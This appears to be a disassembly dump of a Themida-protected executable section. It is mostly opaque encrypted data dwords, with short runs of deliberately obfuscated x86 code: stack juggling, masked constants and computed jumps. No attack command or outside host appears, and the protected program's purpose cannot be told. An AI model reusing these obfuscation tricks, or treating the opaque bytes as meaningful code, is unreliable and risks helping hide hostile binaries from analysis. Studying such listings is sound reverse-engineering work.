dd 37DEFF05h, 446A3C3h, 0EA229BFBh, 940F5BF9h, 0DC9A7373h
dd 0A24FE65Ah, 263F5FE0h, 936C6093h, 0DE3B8210h, 0C022639Ch
dd 6E537C94h, 2FFBEE1h, 5A541E0h, 0E33726Bh, 4637DA80h
dd 0AF50D3B2h, 8377606Eh, 0BF0F8E13h, 8B0738CCh, 307125DFh
dd 0FFF30C71h, 8B71698Eh, 74377A28h, 0FD6195C6h, 0E764BA87h
dd 1C82F361h, 0A8000008h, 0D9ADCE34h, 463459AFh, 0F2C0E519h
dd 744A6B97h, 36D5F60Ch, 0DE245C3Eh, 6D93C9BDh, 0F7037A48h
dd 3F7E0D6h, 0FD1D2262h, 580CA551h, 0D2BC931Ch, 4BD94DB9h
dd 9DC5E612h, 5EA1FE91h, 0E8195B84h, 0FD2BD286h, 0BB44DF5Bh
dd 13B04437h, 6A38CCBFh, 0A956ACD4h, 0D747BD25h, 0CD43D352h
dd 0BA8E6C98h, 6C347109h, 7B197FEh, 4F370000h, 0C8A210B5h
dd 0B2299D3Eh, 20592D4Eh, 9FCBBFDCh, 0D1A54065h, 2A4BB129h
dd 0B3D02E54h, 395AAEDFh, 0C5E61245h, 0FE1678BFh, 0BB580CA5h
dd 5E9F437Eh, 0A1FE903Ch, 0A33D855Eh, 7D9F42AAh, 2BF87FA6h
dd 76639C60h, 2A5DF1B0h, 8DFE4CDEh, 6A17A579h, 7426D285h
dd 72C05235h, 953EEC16h, 0C8FDD4FBh, 3AAD9738h, 0EB0DADCEh
dd 0F35CC713h, 490h, 0BEFCE55Ch, 2B896181h, 2F565BFDh
dd 413F29FFh, 6F9CB8BFh, 0AAF5682Bh, 9A6E1995h, 115BB2F9h
dd 5700639Dh, 193A6EECh, 7184EAE2h, 23E2CB31h, 0F2097E51h
dd 44BEE509h, 0EE509741h, 0C5EA5976h, 0FA1C7A3Dh, 0E4DCADD1h
dd 42h, 4CB02FA3h, 0F2E5DACDh, 0CF6787B8h, 0E85EA1FEh
dd 4779D09Dh, 45C43737h, 34BA47DEh, 66F4B743h, 0C344D0BCh
dd 0E9A66A3Eh, 6014E107h, 10CD3Ch, 0ED520000h, 18Bh, 3F1591ECh
dd 9C5373A2h, 0F2E50A1Dh, 5738EAB8h, 0D397BE22h, 587E903Fh
dd 46E35AA2h, 3Ah, 7A139FEBh, 61880F8Eh, 19497B2Bh, 0BB97BE22h
dd 0D16737C1h, 4CE80AA8h, 9D8326Ah, 2673796h, 5E745D72h
dd 0FA7CE35h, 659AB6ECh, 13FDD2A2h, 0E35AF1F5h, 6CF9h
dd 0F2E54600h, 0C3A63EABh, 0E44C7003h, 0A859389Bh, 0C447B32Ah
dd 0DBB3DB3Bh, 0A7FE5EA1h, 0BC49F20Bh, 5EB01FF7h, 5CC77938h
dd 618DED2Eh, 2C5EA1A0h, 36C532F5h, 6A000000h, 8B75139Fh
dd 206A8D08h, 6E0E41Fh, 1D12CE53h, 0EB05659Ah, 0AA5EA19Eh
dd 0B420D57Bh, 1EFA0D0h, 5CC772E7h, 6F99F3FFh, 75BACh
dd 0EDE40000h, 0C7h, 97ED02h, 0E5020000h, 38EAB8F2h, 0ABF24143h
dd 729C33C7h, 776CF54h, 45F11152h, 10F40E4Ah, 5BF90E91h
dd 46000000h, 87B8F2E5h, 0A1FECF67h, 0E61B8A5Eh, 8609FDE8h
dd 0E366EA14h, 3CDC3E81h, 0E25B7D93h, 31433CA6h, 0EC000000h
dd 87B8F2E5h, 0A1FECF67h, 0E61B8A5Eh, 980AF0E8h, 0DA049619h
dd 8381E396h, 14632CECh, 2C1BB3D3h, 0CF56CC7Eh, 0E50C2A4Ch
dd 712EFA6h, 3F000000h, 46EDh, 0B9D20200h, 8A27D94Dh, 0DC5EA1FEh
dd 169CEBA4h, 23D98164h, 0CC4FD240h, 0D4F90D7Eh, 0B8F2E545h
dd 0D0327394h, 5EA1FEA4h, 80EFAEF1h, 4A450BCFh, 0A203CA1Ch
dd 86A3C75Eh, 6A5CC706h, 0FFFFFF47h, 282EDB7h, 0D2020000h
dd 4BD94DB9h, 0C4C7E410h, 46A8591Bh, 5BF9F373h, 9133275Eh
dd 0FEED1E64h, 189B7A8Ch, 56881A85h, 0A7F6613Ah, 13047F80h
dd 0F4EC43Eh, 8B0BA3C3h, 0DF46A7F6h, 0C4CBBD7Ch, 0BE423FB3h
dd 0ACCA4DECh, 561E878Ah, 3794h, 0FCE5BD00h, 586181BEh
dd 655BF9E2h, 6FE053Ah, 2BB44D34h, 8C36A467h, 0A7F6D764h
dd 0E2953ADEh, 880BF7ECh, 1E37C8EEh, 5BA7DE56h, 0F105CCF2h
dd 0DADE2BEAh, 63000000h, 0D94DB9D2h, 31E51F4Bh, 0AE7C88E3h
dd 0FA9B6F18h, 0A1F907E8h, 7480FB5Eh, 29498ACBh, 0A15E028Dh
dd 6D8959C8h, 28A15E02h, 914272F9h, 9DD82A89h, 0D532791Ah
dd 0A4136A97h, 74A31711h, 2F709110h, 5E95C5D4h, 0C06CAA27h
dd 8DD01366h, 5DD5C3Fh, 0A40781F4h, 0A2D966B9h, 40DC370Fh
dd 0EB149701h, 5C01FBE7h, 55FDD823h, 7D2EF62Eh, 0AF97E520h
dd 84BD1C68h, 0F444CA62h, 9D1C87A7h, 0EB4BB129h, 34761861h
dd 2448C557h, 0A0000004h, 0D1A5C63Ch, 5E2C51A7h, 0CAB8DD21h
dd 4C42639Fh, 2ECDEE14h, 0D62C5446h, 659BC1B5h, 0EF1B7240h
dd 7B8FF8CEh, 85E52A5Ah, 580CA169h, 9FB4EB24h, 188A7613h
dd 3CA41699h, 169CA5C6h, 0A7179668h, 0C43FC034h, 0CBAFEA34h
dd 5439F8B1h, 4DB9D2C5h, 0A5C506D9h, 5EA1FE09h, 1887716Bh
dd 0B215E19Ah, 0DC2843F3h, 5113FCBFh, 0CC2E6FB0h, 5EA1FEA0h
dd 3288A5B5h, 6A39BAEEh, 43A6783Bh, 0C5BF920h, 1E116C95h
dd 24E69543h, 0FF5EA8C2h, 5A69E178h, 0EBAAD959h, 706A687Bh
dd 0B5DB0786h, 16A7F93Ch, 0A7404D42h, 2B565CE5h, 856492C4h
dd 3C9DFD02h, 1A2A123h, 51BEFD9Eh, 0DC8CEE13h, 0E1A94DBEh
dd 560D81BEh, 8DF809AAh, 62147DD4h, 0A4A30694h, 9918B3CBh
dd 0A20F2349h, 0DC285DB2h, 57F4BFh, 0E8130000h, 0CBCBA370h
dd 0DC295CF2h, 960B7BFEh, 0BE4659D8h, 5EA1FE12h, 0B9DA9847h
dd 0B0629EC5h, 0A1FEE60Eh, 1260E15Eh, 1FB7D775h, 5A5EA1FEh
dd 0D7A968CBh, 59A5C2F8h, 0F0174634h, 18BD7185h, 35970E24h
dd 0BB0BEA2Ah, 0C25033CDh, 0A1A7F120h, 0F5DAEA5Eh, 496A9ECFh
dd 6D649FD6h, 0B755269Bh, 54A2D4A6h, 937461D5h, 0FFAF0EFAh
dd 5AC83CA9h, 0B66492C4h, 11857960h, 28018E42h, 0F0CAC59Bh
dd 124C7185h, 5EA14A82h, 0A4D2F793h, 80DE5CC7h, 63FFFFFFh
dd 0D94DB9D2h, 0C7E4104Bh, 0F11D7DBEh, 0DE5EA1FEh, 0A1FE10BCh
dd 5FC25D5Eh, 6DD8DAA0h, 23824351h, 0ADFCE560h, 0D455C937h
dd 23827466h, 0A9D1DD1Eh, 805EC353h, 5EA1C454h, 0C23FFE21h
dd 0F9C929A0h, 1B8B1A5Bh, 0F9E549E9h, 705FF3A7h, 1F2E789Eh
dd 546656h, 0DE250000h, 53F6F641h, 0CB53E097h, 80954580h
dd 0EF4E58C2h, 0BE21C9F2h, 66356181h, 2180A7F9h, 139F8F9Eh
dd 2157E878h, 855756E0h, 2A317022h, 58AFC518h, 890C8FCDh
dd 0FD1D2260h, 5BF9743Ch, 0D20C9E01h, 0A7F996BEh, 0B55B7404h
dd 561F7693h, 0D49Bh, 0B9D2A400h, 48DA2C5Eh, 69406E9h
dd 0D103C45Ah, 7CF54FB4h, 0C0BB099Dh, 0D4870B34h, 0BF0D6120h
dd 4B9B38CCh, 5EA10E68h, 0C12E5B57h, 6CCD6197h, 0CFB80A8Dh
dd 0B3249A3Bh, 8976D747h, 95F536CBh, 5EA10C79h, 0D52AED34h
dd 0FAF648B5h, 0D9FA255Bh, 0CA7735D2h, 0A0821BA8h, 0C3B43AA2h
dd 43C26737h, 7BBC45DCh, 27F70977h, 0D7B30382h, 0BEFB1373h
dd 6FB6AC0Fh, 0EF9BEF8Ch, 0E2ADB115h, 198B3F8Dh, 182B4h
dd 649EC600h, 0EF197347h, 7F83F8CEh, 8D71685Eh, 14EE9AE8h
dd 0FEA0D477h, 675B7882h, 90E68779h, 1E6C11E5h, 0C8F4996Dh
dd 9CCF6787h, 0D8A580Ch, 4CB6D212h, 0D9D5162Fh, 67CA58ACh
dd 0A1FE53FBh, 0E3941E5Eh, 43228717h, 0A86B95F3h, 0F095611Ah
dd 0DAFCE521h, 0CB54DAE7h, 0A85938C1h, 84706B67h, 0A145325Ah
dd 51FD1D5Eh, 1C5EA145h, 4871E85h, 591E9BFBh, 80235BF9h
dd 7340F012h, 56FAA7F9h, 9C719779h, 9B7D561Fh, 0C2000000h
dd 0D94DB9D2h, 85F61F4Bh, 8918BD71h, 99820282h, 7B2B8A6Dh
dd 0A11B6649h, 9B6F185Eh, 27D384FAh, 0ABE91677h, 0D9897496h
dd 5F6A5BFAh, 2E61AC36h, 7D1E8152h, 6E93D13Eh, 0A0D4500Ch
dd 3DC25DA2h, 8857C9B1h, 46351B1Eh, 46F8FE6h, 75D40307h
dd 0E59DF192h, 0B3A9BF1Fh, 0ED7F3F8Dh, 9660h, 48B2D200h
dd 0D325572Bh, 5BA7DCB2h, 0E11D443Ah, 6892CEBCh, 0D2CCA04Bh
dd 5B2F4CB6h, 0DCB2D32Dh, 4A385DA9h, 0BCC0E511h, 9DF31B7Bh
dd 71BE580Ch, 4CB6D25Eh, 0D4205B2Fh, 0B9D260B7h, 8806D94Dh
dd 257B2BDFh, 55D446B2h, 0E88333F2h, 2798E31Ch, 6AD990A4h
dd 87066726h, 0A6520B5Ah, 2DD2B5F4h, 0FD4311CDh, 91059C5Bh
dd 0FF9C6803h, 7624D08Bh, 41400E4Ch, 49461E52h, 0CFEC1873h
dd 0A67480FBh, 1956910h, 0B78D02CEh, 3F9330C4h, 6BEAB84Ch
dd 3, 0D2F1E088h, 44DA48B2h, 0E137E713h, 1C9200F4h, 0B40A9866h
dd 0D66436CCh, 4CC250AAh, 0E735E915h, 9604F8h, 14F2A056h
dd 15C268h, 242C8900h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push 1B40h
mov [esp], ebx
push 63160CCBh
pop edx
shl edx, 6
sub edx, 4C6F5E41h
add edx, 8D99820Fh
push 28DDh
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push edx
sub dword ptr [esp], 4B8E0C0Ch
pop dword ptr [ebx+8]
add dword ptr [ebx+8], 4B8E0C0Ch
push dword ptr [esp]
pop ebx
add esp, 4
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_55E058
; ---------------------------------------------------------------------------
and edi, ecx
loc_59FE43: ; CODE XREF: Themida_:0059F03Cj
mov eax, 6AD63BBh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 6A5FA7DBh, 3684D339h, 64CF3D79h, 6575D4D0h, 0C48DC75h
dd 2AD7176Fh, 692C1234h, 61CF1247h, 148FE34Dh, 25748D8Dh
dd 4741E323h, 31C1B072h, 2BD62867h, 1ACB323Ch, 5C4AE588h
dd 121663B2h, 1EB4FAF5h, 52F1E21Ah, 408A8CCBh, 1C7C7CC6h
dd 394CC40Fh, 7F069492h, 1BBC208Fh, 94659DFh, 0B0E9h, 8C666000h
dd 4C2F6DAh, 0C850Fh, 853B0000h, 6A831F9h, 36840Fh, 853B0000h
dd 6A80D2Dh, 2A840Fh, 853B0000h, 6A8069Dh, 1E840Fh, 853B0000h
dd 6A82F69h, 12840Fh, 0BD830000h, 6A80AB1h, 5840F01h, 0E9000000h
dd 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh
dd 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h, 314518Bh, 850B8BD8h
dd 10840FC9h, 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh
dd 83000000h, 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h
dd 6A84FAFh, 5B8h, 61E3FF00h, 8DD00BC3h, 0AD66058Dh, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 0B7E90DFAh, 4B271FFh, 668DBE66h, 5B98D89h, 0BD3306A8h
dd 6A83301h, 146985C7h, 609006A8h, 9D310000h, 6A82E61h
dd 0BBD85C7h, 6A8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 49D5BFC3h, 0B07A129h
dd 89A1FF67h, 0A81DD18Dh, 11B5FF06h, 8B06A821h, 0E68166DAh
dd 95FFB592h, 6A820DDh, 12E9h, 0E5227000h, 79818FF4h, 0D5EEB148h
dd 0F79888F2h, 6A76BD4Dh, 3195FF00h, 8B06A81Bh, 0D66FEBC0h
dd 14ACF015h, 0C21AF25Fh, 6BDCB239h, 0D3C5DF3Fh, 0EA5EF4CEh
dd 62DB9416h, 0C9E21ED5h, 89AD7C09h, 0DB2E454Ah, 4D5C062Ch
dd 7A38CB44h, 0B3F0C21Bh, 827D309Fh, 0D1BAE18Bh, 0C44CCD5Dh
dd 226F139Ah, 620DBD7Ah, 83A65B47h, 0F65802E6h, 0D4284B13h
dd 0FB5F931Ch, 0E61C5958h, 9EFE955h, 5623512Ah, 9C62E0BAh
dd 0A20BA410h, 311CD28Dh, 5E9ED49h, 53000000h, 95880h
dd 56EE9h, 99D07700h, 0C88DA20Dh, 0FEB7D172h, 2E6B07A8h
dd 5B163798h, 0E13140CFh, 16B90D40h, 42ED3974h, 74DF6B22h
dd 9A0298D1h, 3D020640h, 0BAC0B605h, 9D5CFF9Dh, 54D9B2FBh
dd 0C3E7AACBh, 0D72763A5h, 0D97CAF57h, 0C81A1390h, 105DFE6Fh
dd 82D43298h, 0DFF37D83h, 753A7EE9h, 91129FD6h, 0AD76BBF2h
dd 0F558C580h, 0F5989F00h, 0DB581134h, 0B75DE9C2h, 3BBFF09h
dd 0AE89AF58h, 4687A50Ah, 0F2BFE025h, 0AA837CADh, 0D891B31Ch
dd 6DA8CA5Bh, 0A2380CDh, 604D8C11h, 5594B8BFh, 60867F36h
dd 788FFA16h, 4CECA64Dh, 773E5DC6h, 97933553h, 6DAF5847h
dd 75F556C2h, 0AF584732h, 80921398h, 12DFA694h, 8073h
dd 5CFFD400h, 18528815h, 0FEE68578h, 0CD1B9DE0h, 0AF580BCBh
dd 1BADCB31h, 0AF580C1Fh, 0B9D94AE5h, 3A7EAFF4h, 339CE041h
dd 0F8B5D613h, 2F8962BBh, 0DFE39F8Bh, 127E12h, 0F6000000h
dd 5E4F590Fh, 0BFC9FD70h, 0AF587D7Bh, 614AEE49h, 8A1752FFh
dd 0FD121A5Ch, 92D60340h, 0B1F49906h, 0DA9FB36Ch, 0D67CFE55h
dd 581774B4h, 440D2FAFh, 940FA982h, 3F5E410Bh, 0B8F02976h
dd 8B1F5AF7h, 0FE4C0528h, 9B5EFFD1h, 3069B6FBh, 1F40A347h
dd 0BC65C652h, 0ADED1F97h, 97AF57D6h, 662B4BBCh, 0DD7F208Dh
dd 0F2960F94h, 0DAF376BBh, 0AF77DA59h, 0C26F2244h, 4BD44FE9h
dd 69A1DB01h, 5BAF57D7h, 78B0CAF0h, 4AAF57D7h, 47E8B7E1h
dd 6D56BC0Ah, 0F1885C0h, 0A66706A9h, 0FB67CC89h, 57D74941h
dd 27103BAFh, 1840E14Eh, 876CCC51h, 0D4D01C1Eh, 89F712DFh
dd 48000000h, 0AEEA1CBAh, 94AF57D6h, 91B27DBBh, 83AC2EDCh
dd 0B3FA9AF0h, 13A53D6Eh, 9576A2BAh, 0E8C46C0Ch, 6FD0966Ch
dd 4A29766Fh, 284950D1h, 0DD7E2165h, 0FC921390h, 7DD6D274h
dd 62ACAF58h, 95ECBD6Eh, 524B247Bh, 1F806BCDh, 9595375Dh
dd 6FAF5872h, 39662B4Ch, 0F5A1F7E0h, 12DF4FE9h, 43ECh
dd 5EFF3700h, 6508E13h, 0D67C2065h, 0C51D0E93h, 10AAABD8h
dd 0AF584218h, 0C06841EAh, 2F743D5Fh, 8A911299h, 3966A4E9h
dd 763F59BAh, 95D07D22h, 0D6C7CE08h, 0A635AF57h, 0D601FDFDh
dd 1E412DFh, 3F000000h, 0B93959BAh, 57D70B0Fh, 655EF9AFh
dd 0E649EF38h, 0AFE28342h, 7E571E3Eh, 65CD7031h, 6E6675F8h
dd 8F140D20h, 0FB387516h, 0DC41042Ah, 0C4692043h, 8D169DD3h
dd 389BC30Eh, 0C4D55A17h, 2F36FF54h, 41FA4009h, 14B268D3h
dd 0A09FB2C2h, 0A06A84CBh, 0AF586968h, 68CCCC7Eh, 9DB6AF58h
dd 0ACB6E24Dh, 0A916F406h, 43DADE68h, 8FA8AF58h, 5E05BF77h
dd 0F4AD0CDAh, 50B3B5FFh, 0EE3F642Dh, 6AB844Ah, 1008B2D8h
dd 0F2B5FFF5h, 2D50DF59h, 0DE7D2664h, 0C6C00A97h, 32B5FFF4h
dd 52F1F8B9h, 741EF1Bh, 0B5FFF503h, 59F556C1h, 1286971Ch
dd 0CD6142A8h, 0DC7F2088h, 0F4970895h, 7FCF09BDh, 21FEFF35h
dd 0DBDF699Dh, 0A9B600CAh, 0E8B92A8Eh, 8387C145h, 41B600CBh
dd 0EFB0FDD6h, 0E7990643h, 2D94238Ch, 0C0684BF1h, 0CBF32489h
dd 0B600CACFh, 0A51E9AB5h, 1F56F5FCh, 2B6608EBh, 0BB97078Dh
dd 42147722h, 109h, 0EB5E7E5h, 1F5AF7D8h, 8F355399h, 57D73D7Dh
dd 16FB0FAFh, 0DDBA3E7Bh, 70F6220Dh, 0B60062F1h, 6A3B78D3h
dd 9B0482CBh, 0B36CB1F8h, 0CB54D990h, 0E5BEE3A6h, 0E0A70C49h
dd 0E46BEA4Bh, 0BCDFE64Fh, 2905B1F5h, 0CC14775Ah, 42h
dd 0BB6E757h, 0D74DADDFh, 1C372F57h, 0D7535797h, 23502F57h
dd 0CA683966h, 369F228Fh, 3368EE6Dh, 0AAC27372h, 57D71810h
dd 6841EA2Fh, 89AB14B2h, 0EE4A63C0h, 57D70018h, 0DD69C2AFh
dd 7C52h, 0B5E77500h, 5AF7D80Eh, 1F99921Fh, 0ADCB3D5h
dd 8DA6B600h, 95DC7F20h, 6508EB11h, 296872Ch, 1E3FFE9Dh
dd 0E4DDCE53h, 0C76BFBFh, 0D2DB600h, 2242E340h, 0D348C66Bh
dd 268DC352h, 7395337Dh, 0B6000C37h, 29F6220Dh, 44C7430Ah
dd 841E3D0h, 0D351EB1Fh, 0B1BCAD72h, 0E5881986h, 0EBC007ACh
dd 0A3F95B4Ah, 47E8FCD1h, 7A74A50Ah, 160FBD70h, 96CC56F0h
dd 15B6C35Ah, 0C1453E77h, 0EB5E7DAh, 3DE4AED8h, 0FDDEB605h
dd 0F03D165Fh, 0C1450C2Fh, 29763F5Eh, 430BB3Dh, 51FDC22Eh
dd 0DC1101C7h, 0CBA0C5FAh, 9EBD266Ah, 2E733E5Fh, 8E9F04FDh
dd 0AFE6852Ah, 0DC95B81Bh, 24418B57h, 298F529Dh, 9258A2Eh
dd 4B60E74Ch, 940E3EAh, 9F2957BDh, 0C5FBC49Bh, 315DCE69h
dd 0D87B2474h, 12B30C91h, 57000000h, 0C49B9F29h, 0CE69C5FBh
dd 2A773E5Dh, 0B07CA7F1h, 1158FFCBh, 3970138Ch, 40092BF4h
dd 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh
dd 0D792BF60h, 7F68FA4Ah, 89000027h, 4468240Ch, 89000053h
dd 50682434h, 8900001Ch, 88682414h, 8B06AD66h, 0C4832434h
dd 4EC8304h, 83242489h, 5A042404h, 170E68h, 24348900h
dd 0FF08428Fh, 835A2434h, 348B04C4h, 0E3895324h, 4C381h
dd 0C3810000h, 4, 5C241C87h, 0FB11D9E9h, 0F7EC08FFh, 83E48F91h
dd 1468CADCh, 0B85FBCABh, 6AD6B8Dh, 0E0FFC503h, 1997F583h
dd 58E40BE9h, 3B07C99Dh, 7FDEFD0Dh, 69640242h, 3B692B94h
dd 4D6B2257h, 3B2EF927h, 4E3E6C22h, 0B625D02h, 50ECC33Ch
dd 2B73F895h, 3BD4B76Fh, 200F2D4h, 3452B085h, 39A0F951h
dd 3ADD48C4h, 3B570C09h, 104A9521h, 3ECDE915h, 21E3B9E1h
dd 62B9A09Ch, 1160D459h, 0EFB6CC8h, 6D2D8D8Dh, 89F506ADh
dd 0A805B98Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 0ECEC6F7Dh, 8D0F97FBh
dd 6, 1B99BD31h, 85C706A8h, 6A81469h, 6CF4h, 13E9h, 0AC7ACB00h
dd 330E5E6h, 0D22F725Bh, 37DB2776h, 0CB9BD300h, 0BBD85C7h
dd 6A8h, 0F98B0000h, 0FFD98B66h, 0A814A1B5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 8A0F1A89h, 6, 2FCFD681h, 95FF517Ch, 6A820DDh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0ABC35242h, 3577C700h
dd 6673B013h, 6ADF8B66h, 3195FF00h, 8B06A81Bh, 0B629EBC0h
dd 0F483733h, 91155164h, 290E141Dh, 0D93C2608h, 0A814671Ah
dd 0A16E23A9h, 91F6961Eh, 0A3069DF8h, 0CF6B0CD3h, 927C437h
dd 6E5D8D8Dh, 6A06ADh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 66BB35C3h, 0FDAD4BBh, 8D89D1B7h
dd 6A805B9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 0AFC35141h, 66D95596h, 0C7758FBBh, 0A8146985h
dd 611806h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1704h, 0C3514100h, 8A1347EAh, 0FEEF480h, 85C7F6BFh
dd 6A80BBDh, 0
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5A07FF
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A07FF proc near ; CODE XREF: Themida_:005A07F7p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5A07FF endp
; ---------------------------------------------------------------------------
db 0E2h
dd 0F3FD09D8h, 0E9514F53h, 0Ah, 0B3FD4921h, 0D38C47Ah
dd 0B5FFE72Fh, 6A83509h, 160DBD01h, 95FF06A8h, 6A820DDh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 7AC35141h
dd 0A14D33B4h, 0B7C260C3h, 5985892Eh, 6A06A81Ah, 3195FF00h
dd 8B06A81Bh, 0C268EBC0h, 241F9ECAh, 0A48A4109h, 0CC6CE185h
dd 0E8207A87h, 74EB251Dh, 78291E2Ah, 719D4513h, 0B438B540h
dd 0FDC2F6F9h, 5C1114BEh, 0D704DAC6h, 0A1C1CFA5h, 0DD80B8AFh
dd 16264237h, 6C73F678h, 0DE6625E6h, 5295417Ah, 1DBCB146h
dd 1D0BD591h, 24502B96h, 5BA0A118h, 0CFF8C3F9h, 3493C3DAh
dd 591C7A9Bh, 465A9148h, 0E99C1D89h, 0EEh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 14C35141h, 5B882BAEh
dd 8DD34301h, 0AD6F4AB5h, 858DF506h, 6AB3B9Bh, 0D88B6660h
dd 810F56h, 5B000000h, 0E9D0FF61h, 13h, 2F527473h, 926EA2B2h
dd 82E20198h, 0E8BF804Ah, 0C3F90882h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 0D6C35545h, 0CF816660h, 66614AC0h
dd 8A60D98Ch, 0A60ABAE6h, 0F6610293h, 840F04C1h, 4Eh, 11E9h
dd 0AE0B7000h, 97202FF0h, 0C73EEF48h, 7291D055h, 0FB8B905Dh
dd 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh, 49D78BF9h, 0EBD98Bh
dd 13F20CDh, 0C00B0001h, 708D1874h, 8BFA8B0Ch, 0A75A6CBh
dd 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh, 0CF000000h, 0CB8160FCh
dd 64D6150Fh, 85C761F8h, 6AD6F8Dh, 1013Fh, 11E8h, 0FFE7A400h
dd 0C283321h, 0E8813C2Eh, 6A2A8864h, 9E823EBh, 0B000000h
dd 0C839D832h, 4F137A00h, 5B5AF28Bh, 11BF6660h, 52CC8093h
dd 70C38161h, 0E900005Ah, 8, 7591BDB6h, 88BF6076h, 0C9BEC033h
dd 8B2B9B92h, 0E952033Ch, 0Ch, 78162642h, 0E66C73F6h, 7ADE6625h
dd 2CEF815Ah, 0F70510Bh, 198Dh, 14E900h, 330A0000h, 5D7B884Bh
dd 3CA8D13Fh, 1C5A47FBh, 119E8439h, 0EF81BB26h, 70C6EAD7h
dd 887EBF60h, 0DE815C22h, 6DF4C06Ah, 0DDEF8161h, 0F971C483h
dd 5BCEBE57h, 48F0874h, 0C3FBE03h, 5A565DC4h, 0D761E881h
dd 810F063Bh, 0Bh, 58E0Fh, 81660000h, 81FBAAEAh, 3BD75DC0h
dd 18860F06h, 0E8000000h, 0Eh, 14536AE2h, 70B97194h, 0AAAE259Eh
dd 0BE6600EFh, 815EA681h, 0FFA6CCF8h, 32850FFFh, 0E8000000h
dd 11h, 36CEA574h, 685B0103h, 44F340BFh, 0CFED4A21h, 8E9F9h
dd 0C9F30000h, 8F9FD838h, 0E959F582h, 25h, 0E81427A9h
dd 4FCE1C81h, 0D6816622h, 18E9C5F2h, 0E8FFFFFFh, 1B3EDB50h
dd 615BA846h, 0BBF2A698h, 400D5BC4h, 60EB31h, 17h dup(0)
dd 0E9000000h, 0B4Ah, 0B3EE9h, 796B6800h, 3FE906ADh, 68FFFB0Ch
dd 6AD7A96h, 0FB0C35E9h, 7B0868FFh, 2BE906ADh, 69FFFB0Ch
dd 0A00387CEh, 0CF70B6F3h, 0F95AE0A9h, 298A1055h, 7AC14508h
dd 0F7BADB37h, 236E10B3h, 51183CE7h, 82CB6AD5h, 0BAA004h
dd 0B6054808h, 0BA97BCFAh, 2E733A59h, 52F4BBFDh, 427F921Fh
dd 0D48E520h, 89E77A0h, 19CD84A7h, 1F4F5FDFh, 55F3ADDCh
dd 0AD86971Ch, 0FD4D7D55h, 0A7F11262h, 90DC1EC4h, 67BCEA5h
dd 0E775B5D7h, 0E44FAF57h, 6202AD0Bh, 7014FF2Bh, 930CFF39h
dd 0A708BEF3h, 385CCD84h, 0BDFB2C71h, 0B43455CEh, 57E71612h
dd 6A43ECAFh, 52BC3ABCh, 74D95DBAh, 18119ED3h, 891A892Fh
dd 0E278A5E8h, 852A6301h, 0F79B0494h, 0EF50153Ah, 80990643h
dd 0B1F97397h, 0EDBBA19Dh, 0B46DDE5Ah, 0CF50DD94h, 0ACBAE7A2h
dd 6AAED806h, 58AF5800h, 0FFD3D7FFh, 86B1AF57h, 0EE4A0325h
dd 0A4C8FB59h, 53B715EDh, 617AD2A7h, 0D0715288h, 0F4397415h
dd 0EA1CCAA3h, 0AF5872AEh, 0F77DBB94h, 5E46355h, 0D0F621B6h
dd 662F49AAh, 0E748E039h, 0A8E1874Ah, 60D06BBFh, 0A9E527C3h
dd 9BB605E4h, 0BFF6927Dh, 5E51317h, 6D46F1B6h, 753C5FC0h
dd 5CFF0A31h, 0D9B2FB9Dh, 0EDA0C22Dh, 0DAC15740h, 0B4E7E6C3h
dd 0FDDA180Dh, 0DFCAE8F4h, 3DEF15h, 0E7300000h, 0BA180DB4h
dd 57D70800h, 0BBD9FAAFh, 47ED19F2h, 57D70505h, 0B0FD9EAFh
dd 42A83A73h, 57D70038h, 7069C2AFh, 0E90B6966h, 65B33724h
dd 0FFDDBA3Eh, 0C5321752h, 1BDFE0h, 0E7FA0000h, 0BA180DB4h
dd 57D70800h, 8B70D9AFh, 52FFDDBAh, 6D10F317h, 0C5AFF424h
dd 0EB5E7E0h, 0E1FFAED8h, 6AC5B5FFh, 0E20105C5h, 369DB5FFh
dd 0DD716D6Dh, 0F5941477h, 0AF000001h, 0DC0AA9E7h, 622B4DB6h
dd 0D7003036h, 0B8E6AF57h, 557D3457h, 0AF57D755h, 81A3042Fh
dd 75DE60C8h, 15D47728h, 0A2FB3875h, 90B21DC9h, 0CAF15BDDh
dd 30155CFFh, 4FF927C3h, 0AF57D74Bh, 8BAD1E39h, 0EC4C5DC2h
dd 0DB4E7C7h, 3B59BA18h, 0BCFC2D72h, 0E8F4E9D6h, 0EF15DFCAh
dd 63h, 0C0B4E730h, 57D78286h, 0FED740AFh, 0B31CBA09h
dd 4556DB9Eh, 0AB0841E4h, 0E8202672h, 0FEAF57D6h, 57F17915h
dd 0AF57D753h, 8B2D0631h, 0BAFDEA45h, 5454F61Ch, 2EAF57D7h
